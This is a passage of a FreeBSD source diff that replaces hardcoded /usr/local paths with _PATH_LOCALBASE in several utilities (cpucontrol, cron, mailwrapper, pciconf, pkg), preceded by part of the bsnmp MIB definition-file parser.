snmp_get_tc(nexttok); *tok = gettoken(snmptoolctx); return (1); } static int32_t parse_type(struct snmp_toolinfo *snmptoolctx, int32_t *tok, enum snmp_tc *tc, struct enum_pairs **snmp_enum) { int32_t syntax, mem; syntax = val; *tc = 0; if (*tok == TOK_ENUM || *tok == TOK_BITS) { if (*snmp_enum == NULL) { if ((*snmp_enum = enum_pairs_init()) == NULL) return (-1); mem = 1; *tc = SNMP_TC_OWN; } else mem = 0; if (gettoken(snmptoolctx) != '(') { warnx("'(' expected after ENUM/BITS"); return (-1); } if ((*tok = gettoken(snmptoolctx)) != TOK_NUM) { warnx("need value for ENUM//BITS"); if (mem == 1) { free(*snmp_enum); *snmp_enum = NULL; } return (-1); } if (parse_enum(snmptoolctx, tok, *snmp_enum) < 0) { enum_pairs_free(*snmp_enum); *snmp_enum = NULL; return (-1); } *tok = gettoken(snmptoolctx); } else if (*tok == TOK_DEFTYPE) { struct enum_type *t; *tc = 0; t = snmp_enumtc_lookup(snmptoolctx, nexttok); if (t != NULL) *snmp_enum = t->snmp_enum; *tok = gettoken(snmptoolctx); } else { if ((*tok = gettoken(snmptoolctx)) == '|') { if (parse_subtype(snmptoolctx, tok, tc) < 0) return (-1); } } return (syntax); } static int32_t snmp_import_head(struct snmp_toolinfo *snmptoolctx) { enum tok tok; if ((tok = gettoken(snmptoolctx)) == '(') tok = gettoken(snmptoolctx); if (tok != TOK_NUM || val > ASN_MAXID ) { warnx("Suboid expected - line %d", input->lno); return (-1); } if (gettoken(snmptoolctx) != TOK_STR) { warnx("Node name expected at line %d", input->lno); return (-1); } return (1); } static int32_t snmp_import_table(struct snmp_toolinfo *snmptoolctx, struct snmp_oid2str *obj) { int32_t i, tok; enum snmp_tc tc; struct snmp_index_entry *entry; if ((entry = calloc(1, sizeof(struct snmp_index_entry))) == NULL) { syslog(LOG_ERR, "malloc() failed: %s", strerror(errno)); return (-1); } STAILQ_INIT(&(entry->index_list)); for (i = 0, tok = gettoken(snmptoolctx); i < SNMP_INDEXES_MAX; i++) { int32_t syntax; struct enum_pairs *enums = NULL; if (tok != TOK_TYPE && tok != TOK_DEFTYPE && tok != TOK_ENUM && tok != TOK_BITS) break; if ((syntax = parse_type(snmptoolctx, &tok, &tc, &enums)) < 0) { enum_pairs_free(enums); snmp_index_listfree(&(entry->index_list)); free(entry); return (-1); } if (snmp_syntax_insert(&(entry->index_list), enums, syntax, tc) < 0) { snmp_index_listfree(&(entry->index_list)); enum_pairs_free(enums); free(entry); return (-1); } } if (i == 0 || i > SNMP_INDEXES_MAX) { warnx("Bad number of indexes at line %d", input->lno); snmp_index_listfree(&(entry->index_list)); free(entry); return (-1); } if (tok != TOK_STR) { warnx("String expected after indexes at line %d", input->lno); snmp_index_listfree(&(entry->index_list)); free(entry); return (-1); } entry->string = obj->string; entry->strlen = obj->strlen; asn_append_oid(&(entry->var), &(obj->var)); if ((i = snmp_table_insert(snmptoolctx, entry)) < 0) { snmp_index_listfree(&(entry->index_list)); free(entry); return (-1); } else if (i == 0) { /* Same entry already present in lists. */ free(entry->string); free(entry); return (0); } (void) snmp_import_update_table(ENTRY_INDEX, entry); return (1); } /* * Read everything after the syntax type that is certainly a leaf OID info. */ static int32_t snmp_import_leaf(struct snmp_toolinfo *snmptoolctx, int32_t *tok, struct snmp_oid2str *oid2str) { int32_t i, syntax; if ((syntax = parse_type(snmptoolctx, tok, &(oid2str->tc), &(oid2str->snmp_enum))) < 0) return(-1); oid2str->syntax = syntax; /* * That is the name of the function, corresponding to the entry. * It is used by bsnmpd, but is not interesting for us. */ if (*tok == TOK_STR) *tok = gettoken(snmptoolctx); for (i = 0; i < SNMP_ACCESS_GETSET && *tok == TOK_ACCESS; i++) { oid2str->access |= (uint32_t) val; *tok = gettoken(snmptoolctx); } if (*tok != ')') { warnx("')' expected at end of line %d", input->lno); return (-1); } oid2str->table_idx = snmp_import_update_table(ENTRY_DATA, NULL); if ((i = snmp_leaf_insert(snmptoolctx, oid2str)) < 0) { warnx("Error adding leaf %s to list", oid2str->string); return (-1); } /* * Same entry is already present in the mapping lists and * the new one was not inserted. */ if (i == 0) { free(oid2str->string); free(oid2str); } (void) snmp_import_update_table(ENTRY_NONE, NULL); return (1); } static int32_t snmp_import_object(struct snmp_toolinfo *snmptoolctx) { char *string; int i; int32_t tok; struct snmp_oid2str *oid2str; if (snmp_import_head(snmptoolctx) < 0) return (-1); if ((oid2str = calloc(1, sizeof(struct snmp_oid2str))) == NULL) { syslog(LOG_ERR, "calloc() failed: %s", strerror(errno)); return (-1); } if ((string = strdup(nexttok)) == NULL) { syslog(LOG_ERR, "strdup() failed: %s", strerror(errno)); free(oid2str); return (-1); } oid2str->string = string; oid2str->strlen = strlen(nexttok); asn_append_oid(&(oid2str->var), &(current_oid)); if (snmp_suboid_append(&(oid2str->var), (asn_subid_t) val) < 0) goto error; /* * Prepared the entry - now figure out where to insert it. * After the object we have following options: * 1) new line, blank, ) - then it is an enum oid -> snmp_enumlist; * 2) new line , ( - nonleaf oid -> snmp_nodelist; * 2) ':' - table entry - a variable length SYNTAX_TYPE (one or more) * may follow and second string must end line -> snmp_tablelist; * 3) OID , string ) - this is a trap entry or a leaf -> snmp_oidlist; * 4) SYNTAX_TYPE, string (not always), get/set modifier - always last * and )- this is definitely a leaf. */ switch (tok = gettoken(snmptoolctx)) { case ')': if ((i = snmp_enum_insert(snmptoolctx, oid2str)) < 0) goto error; if (i == 0) { free(oid2str->string); free(oid2str); } return (1); case '(': if (snmp_suboid_append(¤t_oid, (asn_subid_t) val) < 0) goto error; /* * Ignore the error for nodes since the .def files currently * contain different strings for 1.3.6.1.2.1 - mibII. Only make * sure the memory is freed and don't complain. */ if ((i = snmp_node_insert(snmptoolctx, oid2str)) <= 0) { free(string); free(oid2str); } return (snmp_import_object(snmptoolctx)); case ':': if (snmp_suboid_append(¤t_oid, (asn_subid_t) val) < 0) goto error; if (snmp_import_table(snmptoolctx, oid2str) < 0) goto error; /* * A different table entry type was malloced and the data is * contained there. */ free(oid2str); return (1); case TOK_TYPE: /* FALLTHROUGH */ case TOK_DEFTYPE: /* FALLTHROUGH */ case TOK_ENUM: /* FALLTHROUGH */ case TOK_BITS: if (snmp_import_leaf(snmptoolctx, &tok, oid2str) < 0) goto error; return (1); default: warnx("Unexpected token at line %d - %s", input->lno, input->fname); break; } error: snmp_mapping_entryfree(oid2str); return (-1); } static int32_t snmp_import_tree(struct snmp_toolinfo *snmptoolctx, int32_t *tok) { while (*tok != TOK_EOF) { switch (*tok) { case TOK_ERR: return (-1); case '(': if (snmp_import_object(snmptoolctx) < 0) return (-1); break; case ')': if (snmp_suboid_pop(¤t_oid) < 0) return (-1); (void) snmp_import_update_table(ENTRY_NONE, NULL); break; default: /* Anything else here would be illegal. */ return (-1); } *tok = gettoken(snmptoolctx); } return (0); } static int32_t snmp_import_top(struct snmp_toolinfo *snmptoolctx, int32_t *tok) { enum snmp_tc tc; struct enum_type *t; if (*tok == '(') return (snmp_import_tree(snmptoolctx, tok)); if (*tok == TOK_TYPEDEF) { if ((*tok = gettoken(snmptoolctx)) != TOK_STR) { warnx("type name expected after typedef - %s", input->fname); return (-1); } t = snmp_enumtc_init(nexttok); *tok = gettoken(snmptoolctx); t->is_enum = (*tok == TOK_ENUM); t->is_bits = (*tok == TOK_BITS); t->syntax = parse_type(snmptoolctx, tok, &tc, &(t->snmp_enum)); snmp_enumtc_insert(snmptoolctx, t); return (1); } if (*tok == TOK_INCLUDE) { int i; *tok = gettoken(snmptoolctx); if (*tok != TOK_FILENAME) { warnx("filename expected in include directive - %s", nexttok); return (-1); } if (( i = add_filename(snmptoolctx, nexttok, NULL, 1)) == 0) { *tok = gettoken(snmptoolctx); return (1); } if (i == -1) return (-1); input_fopen(nexttok); *tok = gettoken(snmptoolctx); return (1); } warnx("'(' or 'typedef' expected - %s", nexttok); return (-1); } static int32_t snmp_import(struct snmp_toolinfo *snmptoolctx) { int i; int32_t tok; tok = gettoken(snmptoolctx); do i = snmp_import_top(snmptoolctx, &tok); while (i > 0); return (i); } /* * Read a .def file and import oid<->string mapping. * Mappings are inserted into a global structure containing list for each OID * syntax type. */ int32_t snmp_import_file(struct snmp_toolinfo *snmptoolctx, struct fname *file) { int idx; snmp_import_init(&(file->cut)); input_fopen(file->name); if ((idx = snmp_import(snmptoolctx)) < 0) warnx("Failed to read mappings from file %s", file->name); input_close(); return (idx); } Index: head/usr.sbin/cpucontrol/cpucontrol.c =================================================================== --- head/usr.sbin/cpucontrol/cpucontrol.c (revision 367074) +++ head/usr.sbin/cpucontrol/cpucontrol.c (revision 367075) @@ -1,575 +1,576 @@ /*- * SPDX-License-Identifier: BSD-2-Clause-FreeBSD * * Copyright (c) 2008-2011 Stanislav Sedov . * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * This utility provides userland access to the cpuctl(4) pseudo-device * features. */ #include __FBSDID("$FreeBSD$"); #include #include #include #include #include +#include #include #include #include #include #include #include #include #include #include #include #include #include #include "cpucontrol.h" #include "amd.h" #include "intel.h" #include "via.h" int verbosity_level = 0; -#define DEFAULT_DATADIR "/usr/local/share/cpucontrol" +#define DEFAULT_DATADIR _PATH_LOCALBASE "/share/cpucontrol" #define FLAG_I 0x01 #define FLAG_M 0x02 #define FLAG_U 0x04 #define FLAG_N 0x08 #define FLAG_E 0x10 #define OP_INVAL 0x00 #define OP_READ 0x01 #define OP_WRITE 0x02 #define OP_OR 0x04 #define OP_AND 0x08 #define HIGH(val) (uint32_t)(((val) >> 32) & 0xffffffff) #define LOW(val) (uint32_t)((val) & 0xffffffff) struct datadir { const char *path; SLIST_ENTRY(datadir) next; }; static SLIST_HEAD(, datadir) datadirs = SLIST_HEAD_INITIALIZER(datadirs); static struct ucode_handler { ucode_probe_t *probe; ucode_update_t *update; } handlers[] = { { intel_probe, intel_update }, { amd10h_probe, amd10h_update }, { amd_probe, amd_update }, { via_probe, via_update }, }; #define NHANDLERS (sizeof(handlers) / sizeof(*handlers)) static void usage(void); static int do_cpuid(const char *cmdarg, const char *dev); static int do_cpuid_count(const char *cmdarg, const char *dev); static int do_msr(const char *cmdarg, const char *dev); static int do_update(const char *dev); static void datadir_add(const char *path); static void __dead2 usage(void) { const char *name; name = getprogname(); if (name == NULL) name = "cpuctl"; fprintf(stderr, "Usage: %s [-vh] [-d datadir] [-m msr[=value] | " "-i level | -i level,level_type | -e | -u] device\n", name); exit(EX_USAGE); } static int do_cpuid(const char *cmdarg, const char *dev) { unsigned int level; cpuctl_cpuid_args_t args; int fd, error; char *endptr; assert(cmdarg != NULL); assert(dev != NULL); level = strtoul(cmdarg, &endptr, 16); if (*cmdarg == '\0' || *endptr != '\0') { WARNX(0, "incorrect operand: %s", cmdarg); usage(); /* NOTREACHED */ } /* * Fill ioctl argument structure. */ args.level = level; fd = open(dev, O_RDONLY); if (fd < 0) { WARN(0, "error opening %s for reading", dev); return (1); } error = ioctl(fd, CPUCTL_CPUID, &args); if (error < 0) { WARN(0, "ioctl(%s, CPUCTL_CPUID)", dev); close(fd); return (error); } fprintf(stdout, "cpuid level 0x%x: 0x%.8x 0x%.8x 0x%.8x 0x%.8x\n", level, args.data[0], args.data[1], args.data[2], args.data[3]); close(fd); return (0); } static int do_cpuid_count(const char *cmdarg, const char *dev) { char *cmdarg1, *endptr, *endptr1; unsigned int level, level_type; cpuctl_cpuid_count_args_t args; int fd, error; assert(cmdarg != NULL); assert(dev != NULL); level = strtoul(cmdarg, &endptr, 16); if (*cmdarg == '\0' || *endptr == '\0') { WARNX(0, "incorrect or missing operand: %s", cmdarg); usage(); /* NOTREACHED */ } /* Locate the comma... */ cmdarg1 = strstr(endptr, ","); /* ... and skip past it */ cmdarg1 += 1; level_type = strtoul(cmdarg1, &endptr1, 16); if (*cmdarg1 == '\0' || *endptr1 != '\0') { WARNX(0, "incorrect or missing operand: %s", cmdarg); usage(); /* NOTREACHED */ } /* * Fill ioctl argument structure. */ args.level = level; args.level_type = level_type; fd = open(dev, O_RDONLY); if (fd < 0) { WARN(0, "error opening %s for reading", dev); return (1); } error = ioctl(fd, CPUCTL_CPUID_COUNT, &args); if (error < 0) { WARN(0, "ioctl(%s, CPUCTL_CPUID_COUNT)", dev); close(fd); return (error); } fprintf(stdout, "cpuid level 0x%x, level_type 0x%x: 0x%.8x 0x%.8x " "0x%.8x 0x%.8x\n", level, level_type, args.data[0], args.data[1], args.data[2], args.data[3]); close(fd); return (0); } static int do_msr(const char *cmdarg, const char *dev) { unsigned int msr; cpuctl_msr_args_t args; size_t len; uint64_t data = 0; unsigned long command; int do_invert = 0, op; int fd, error; const char *command_name; char *endptr; char *p; assert(cmdarg != NULL); assert(dev != NULL); len = strlen(cmdarg); if (len == 0) { WARNX(0, "MSR register expected"); usage(); /* NOTREACHED */ } /* * Parse command string. */ msr = strtoul(cmdarg, &endptr, 16); switch (*endptr) { case '\0': op = OP_READ; break; case '=': op = OP_WRITE; break; case '&': op = OP_AND; endptr++; break; case '|': op = OP_OR; endptr++; break; default: op = OP_INVAL; } if (op != OP_READ) { /* Complex operation. */ if (*endptr != '=') op = OP_INVAL; else { p = ++endptr; if (*p == '~') { do_invert = 1; p++; } data = strtoull(p, &endptr, 16); if (*p == '\0' || *endptr != '\0') { WARNX(0, "argument required: %s", cmdarg); usage(); /* NOTREACHED */ } } } if (op == OP_INVAL) { WARNX(0, "invalid operator: %s", cmdarg); usage(); /* NOTREACHED */ } /* * Fill ioctl argument structure. */ args.msr = msr; if ((do_invert != 0) ^ (op == OP_AND)) args.data = ~data; else args.data = data; switch (op) { case OP_READ: command = CPUCTL_RDMSR; command_name = "RDMSR"; break; case OP_WRITE: command = CPUCTL_WRMSR; command_name = "WRMSR"; break; case OP_OR: command = CPUCTL_MSRSBIT; command_name = "MSRSBIT"; break; case OP_AND: command = CPUCTL_MSRCBIT; command_name = "MSRCBIT"; break; default: abort(); } fd = open(dev, op == OP_READ ? O_RDONLY : O_WRONLY); if (fd < 0) { WARN(0, "error opening %s for %s", dev, op == OP_READ ? "reading" : "writing"); return (1); } error = ioctl(fd, command, &args); if (error < 0) { WARN(0, "ioctl(%s, CPUCTL_%s (%#x))", dev, command_name, msr); close(fd); return (1); } if (op == OP_READ) fprintf(stdout, "MSR 0x%x: 0x%.8x 0x%.8x\n", msr, HIGH(args.data), LOW(args.data)); close(fd); return (0); } static int do_eval_cpu_features(const char *dev) { int fd, error; assert(dev != NULL); fd = open(dev, O_RDWR); if (fd < 0) { WARN(0, "error opening %s for writing", dev); return (1); } error = ioctl(fd, CPUCTL_EVAL_CPU_FEATURES, NULL); if (error < 0) WARN(0, "ioctl(%s, CPUCTL_EVAL_CPU_FEATURES)", dev); close(fd); return (error); } static int try_a_fw_image(const char *dev_path, int devfd, int fwdfd, const char *dpath, const char *fname, struct ucode_handler *handler) { struct ucode_update_params parm; struct stat st; char *fw_path; void *fw_map; int fwfd, rc; rc = 0; fw_path = NULL; fw_map = MAP_FAILED; fwfd = openat(fwdfd, fname, O_RDONLY); if (fwfd < 0) { WARN(0, "openat(%s, %s)", dpath, fname); goto out; } rc = asprintf(&fw_path, "%s/%s", dpath, fname); if (rc == -1) { WARNX(0, "out of memory"); rc = ENOMEM; goto out; } rc = fstat(fwfd, &st); if (rc != 0) { WARN(0, "fstat(%s)", fw_path); rc = 0; goto out; } if (!S_ISREG(st.st_mode)) goto out; if (st.st_size <= 0) { WARN(0, "%s: empty", fw_path); goto out; } fw_map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fwfd, 0); if (fw_map == MAP_FAILED) { WARN(0, "mmap(%s)", fw_path); goto out; } memset(&parm, 0, sizeof(parm)); parm.devfd = devfd; parm.fwimage = fw_map; parm.fwsize = st.st_size; parm.dev_path = dev_path; parm.fw_path = fw_path; handler->update(&parm); out: if (fw_map != MAP_FAILED) munmap(fw_map, st.st_size); free(fw_path); if (fwfd >= 0) close(fwfd); return (rc); } static int do_update(const char *dev) { int fd, fwdfd; unsigned int i; int error; struct ucode_handler *handler; struct datadir *dir; DIR *dirp; struct dirent *direntry; fd = open(dev, O_RDONLY); if (fd < 0) { WARN(0, "error opening %s for reading", dev); return (1); } /* * Find the appropriate handler for CPU. */ for (i = 0; i < NHANDLERS; i++) if (handlers[i].probe(fd) == 0) break; if (i < NHANDLERS) handler = &handlers[i]; else { WARNX(0, "cannot find the appropriate handler for %s", dev); close(fd); return (1); } close(fd); fd = open(dev, O_RDWR); if (fd < 0) { WARN(0, "error opening %s for writing", dev); return (1); } /* * Process every image in specified data directories. */ SLIST_FOREACH(dir, &datadirs, next) { fwdfd = open(dir->path, O_RDONLY); if (fwdfd < 0) { WARN(1, "skipping directory %s: not accessible", dir->path); continue; } dirp = fdopendir(fwdfd); if (dirp == NULL) { WARNX(0, "out of memory"); close(fwdfd); close(fd); return (1); } while ((direntry = readdir(dirp)) != NULL) { if (direntry->d_namlen == 0) continue; if (direntry->d_type == DT_DIR) continue; error = try_a_fw_image(dev, fd, fwdfd, dir->path, direntry->d_name, handler); if (error != 0) { closedir(dirp); close(fd); return (1); } } error = closedir(dirp); if (error != 0) WARN(0, "closedir(%s)", dir->path); } close(fd); return (0); } /* * Add new data directory to the search list. */ static void datadir_add(const char *path) { struct datadir *newdir; newdir = (struct datadir *)malloc(sizeof(*newdir)); if (newdir == NULL) err(EX_OSERR, "cannot allocate memory"); newdir->path = path; SLIST_INSERT_HEAD(&datadirs, newdir, next); } int main(int argc, char *argv[]) { struct datadir *elm; int c, flags; const char *cmdarg; const char *dev; int error; flags = 0; error = 0; cmdarg = ""; /* To keep gcc3 happy. */ while ((c = getopt(argc, argv, "d:ehi:m:nuv")) != -1) { switch (c) { case 'd': datadir_add(optarg); break; case 'e': flags |= FLAG_E; break; case 'i': flags |= FLAG_I; cmdarg = optarg; break; case 'm': flags |= FLAG_M; cmdarg = optarg; break; case 'n': flags |= FLAG_N; break; case 'u': flags |= FLAG_U; break; case 'v': verbosity_level++; break; case 'h': /* FALLTHROUGH */ default: usage(); /* NOTREACHED */ } } argc -= optind; argv += optind; if (argc < 1) { usage(); /* NOTREACHED */ } if ((flags & FLAG_N) == 0) datadir_add(DEFAULT_DATADIR); dev = argv[0]; c = flags & (FLAG_E | FLAG_I | FLAG_M | FLAG_U); switch (c) { case FLAG_I: if (strstr(cmdarg, ",") != NULL) error = do_cpuid_count(cmdarg, dev); else error = do_cpuid(cmdarg, dev); break; case FLAG_M: error = do_msr(cmdarg, dev); break; case FLAG_U: error = do_update(dev); break; case FLAG_E: error = do_eval_cpu_features(dev); break; default: usage(); /* Only one command can be selected. */ } while ((elm = SLIST_FIRST(&datadirs)) != NULL) { SLIST_REMOVE_HEAD(&datadirs, next); free(elm); } return (error == 0 ? 0 : 1); } Index: head/usr.sbin/cron/cron/pathnames.h =================================================================== --- head/usr.sbin/cron/cron/pathnames.h (revision 367074) +++ head/usr.sbin/cron/cron/pathnames.h (revision 367075) @@ -1,67 +1,67 @@ /* Copyright 1993,1994 by Paul Vixie * All rights reserved * * Distribute freely, except: don't remove my name from the source or * documentation (don't take credit for my work), mark your changes (don't * get me blamed for your possible bugs), don't alter or remove this * notice. May be sold if buildable source is provided to buyer. No * warrantee of any kind, express or implied, is included with this * software; use at your own risk, responsibility for damages (if any) to * anyone resulting from the use of this software rests entirely with the * user. * * Send bug reports, bug fixes, enhancements, requests, flames, etc., and * I'll try to keep a version up to date. I can be reached as follows: * Paul Vixie uunet!decwrl!vixie!paul */ /* * $FreeBSD$ */ #if (defined(BSD)) && (BSD >= 199103) || defined(__linux) || defined(AIX) # include #endif /*BSD*/ #ifndef CRONDIR /* CRONDIR is where crond(8) and crontab(1) both chdir * to; SPOOL_DIR, ALLOW_FILE, DENY_FILE, and LOG_FILE * are all relative to this directory. */ #define CRONDIR "/var/cron" #endif /* SPOOLDIR is where the crontabs live. * This directory will have its modtime updated * whenever crontab(1) changes a crontab; this is * the signal for crond(8) to look at each individual * crontab file and reload those whose modtimes are * newer than they were last time around (or which * didn't exist last time around...) */ #define SPOOL_DIR "tabs" /* undefining these turns off their features. note * that ALLOW_FILE and DENY_FILE must both be defined * in order to enable the allow/deny code. If neither * LOG_FILE or SYSLOG is defined, we don't log. If * both are defined, we log both ways. */ #define ALLOW_FILE "allow" /*-*/ #define DENY_FILE "deny" /*-*/ /*#define LOG_FILE "log"*/ /*-*/ /* where should the daemon stick its PID? */ #define PIDDIR _PATH_VARRUN #define PIDFILE "%scron.pid" /* 4.3BSD-style crontab */ #define SYSCRONTAB "/etc/crontab" #define SYSCRONTABS "/etc/cron.d" -#define LOCALSYSCRONTABS "/usr/local/etc/cron.d" +#define LOCALSYSCRONTABS _PATH_LOCALBASE "/etc/cron.d" /* what editor to use if no EDITOR or VISUAL * environment variable specified. */ #define EDITOR _PATH_VI Index: head/usr.sbin/mailwrapper/mailwrapper.c =================================================================== --- head/usr.sbin/mailwrapper/mailwrapper.c (revision 367074) +++ head/usr.sbin/mailwrapper/mailwrapper.c (revision 367075) @@ -1,175 +1,176 @@ /* $OpenBSD: mailwrapper.c,v 1.18 2007/11/06 14:39:19 otto Exp $ */ /* $NetBSD: mailwrapper.c,v 1.9 2003/03/09 08:10:43 mjl Exp $ */ /*- * SPDX-License-Identifier: BSD-4-Clause * * Copyright (c) 1998 * Perry E. Metzger. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgment: * This product includes software developed for the NetBSD Project * by Perry E. Metzger. * 4. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include __FBSDID("$FreeBSD$"); #include #include +#include #include #include #include #include #include #include #include #include "pathnames.h" struct arglist { size_t argc, maxc; char **argv; }; int main(int, char *[], char *[]); static void initarg(struct arglist *); static void addarg(struct arglist *, const char *); static void initarg(struct arglist *al) { al->argc = 0; al->maxc = 10; if ((al->argv = calloc(al->maxc, sizeof(char *))) == NULL) err(EX_TEMPFAIL, "calloc"); } static void addarg(struct arglist *al, const char *arg) { if (al->argc == al->maxc) { al->maxc <<= 1; al->argv = realloc(al->argv, al->maxc * sizeof(char *)); if (al->argv == NULL) err(EX_TEMPFAIL, "realloc"); } if (arg == NULL) al->argv[al->argc++] = NULL; else if ((al->argv[al->argc++] = strdup(arg)) == NULL) err(EX_TEMPFAIL, "strdup"); } int main(int argc, char *argv[], char *envp[]) { FILE *config; char *line, *cp, *from, *to, *ap; const char *progname; char localmailerconf[MAXPATHLEN]; const char *mailerconf; size_t len, lineno = 0; int i; struct arglist al; /* change __progname to mailwrapper so we get sensible error messages */ progname = getprogname(); setprogname("mailwrapper"); initarg(&al); addarg(&al, argv[0]); snprintf(localmailerconf, MAXPATHLEN, "%s/etc/mail/mailer.conf", - getenv("LOCALBASE") ? getenv("LOCALBASE") : "/usr/local"); + getenv("LOCALBASE") ? getenv("LOCALBASE") : _PATH_LOCALBASE); mailerconf = localmailerconf; if ((config = fopen(localmailerconf, "r")) == NULL) mailerconf = _PATH_MAILERCONF; if (config == NULL && ((config = fopen(mailerconf, "r")) == NULL)) { addarg(&al, NULL); openlog(getprogname(), LOG_PID, LOG_MAIL); syslog(LOG_INFO, "cannot open %s, using %s as default MTA", mailerconf, _PATH_DEFAULTMTA); closelog(); execve(_PATH_DEFAULTMTA, al.argv, envp); err(EX_OSERR, "cannot exec %s", _PATH_DEFAULTMTA); /*NOTREACHED*/ } for (;;) { if ((line = fparseln(config, &len, &lineno, NULL, 0)) == NULL) { if (feof(config)) errx(EX_CONFIG, "no mapping in %s", mailerconf); err(EX_CONFIG, "cannot parse line %lu", (u_long)lineno); } #define WS " \t\n" cp = line; cp += strspn(cp, WS); if (cp[0] == '\0') { /* empty line */ free(line); continue; } if ((from = strsep(&cp, WS)) == NULL || cp == NULL) goto parse_error; cp += strspn(cp, WS); if ((to = strsep(&cp, WS)) == NULL) goto parse_error; if (strcmp(from, progname) == 0) { for (ap = strsep(&cp, WS); ap != NULL; ap = strsep(&cp, WS)) { if (*ap) addarg(&al, ap); } break; } free(line); } (void)fclose(config); for (i = 1; i < argc; i++) addarg(&al, argv[i]); addarg(&al, NULL); execve(to, al.argv, envp); err(EX_OSERR, "cannot exec %s", to); /*NOTREACHED*/ parse_error: errx(EX_CONFIG, "parse error in %s at line %lu", mailerconf, (u_long)lineno); /*NOTREACHED*/ } Index: head/usr.sbin/pciconf/pathnames.h =================================================================== --- head/usr.sbin/pciconf/pathnames.h (revision 367074) +++ head/usr.sbin/pciconf/pathnames.h (revision 367075) @@ -1,4 +1,6 @@ /* $FreeBSD$ */ +#include + #define _PATH_DEVPCI "/dev/pci" #define _PATH_PCIVDB "/usr/share/misc/pci_vendors" -#define _PATH_LPCIVDB "/usr/local/share/pciids/pci.ids" +#define _PATH_LPCIVDB _PATH_LOCALBASE "/share/pciids/pci.ids" Index: head/usr.sbin/pkg/config.c =================================================================== --- head/usr.sbin/pkg/config.c (revision 367074) +++ head/usr.sbin/pkg/config.c (revision 367075) @@ -1,536 +1,537 @@ /*- * SPDX-License-Identifier: BSD-2-Clause-FreeBSD * * Copyright (c) 2014 Baptiste Daroussin * Copyright (c) 2013 Bryan Drewery * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include __FBSDID("$FreeBSD$"); #include #include #include #include #include #include #include #include #include +#include #include #include #include "config.h" #define roundup2(x, y) (((x)+((y)-1))&(~((y)-1))) /* if y is powers of two */ struct config_value { char *value; STAILQ_ENTRY(config_value) next; }; struct config_entry { uint8_t type; const char *key; const char *val; char *value; STAILQ_HEAD(, config_value) *list; bool envset; bool main_only; /* Only set in pkg.conf. */ }; static struct config_entry c[] = { [PACKAGESITE] = { PKG_CONFIG_STRING, "PACKAGESITE", URL_SCHEME_PREFIX "http://pkg.FreeBSD.org/${ABI}/latest", NULL, NULL, false, false, }, [ABI] = { PKG_CONFIG_STRING, "ABI", NULL, NULL, NULL, false, true, }, [MIRROR_TYPE] = { PKG_CONFIG_STRING, "MIRROR_TYPE", "SRV", NULL, NULL, false, false, }, 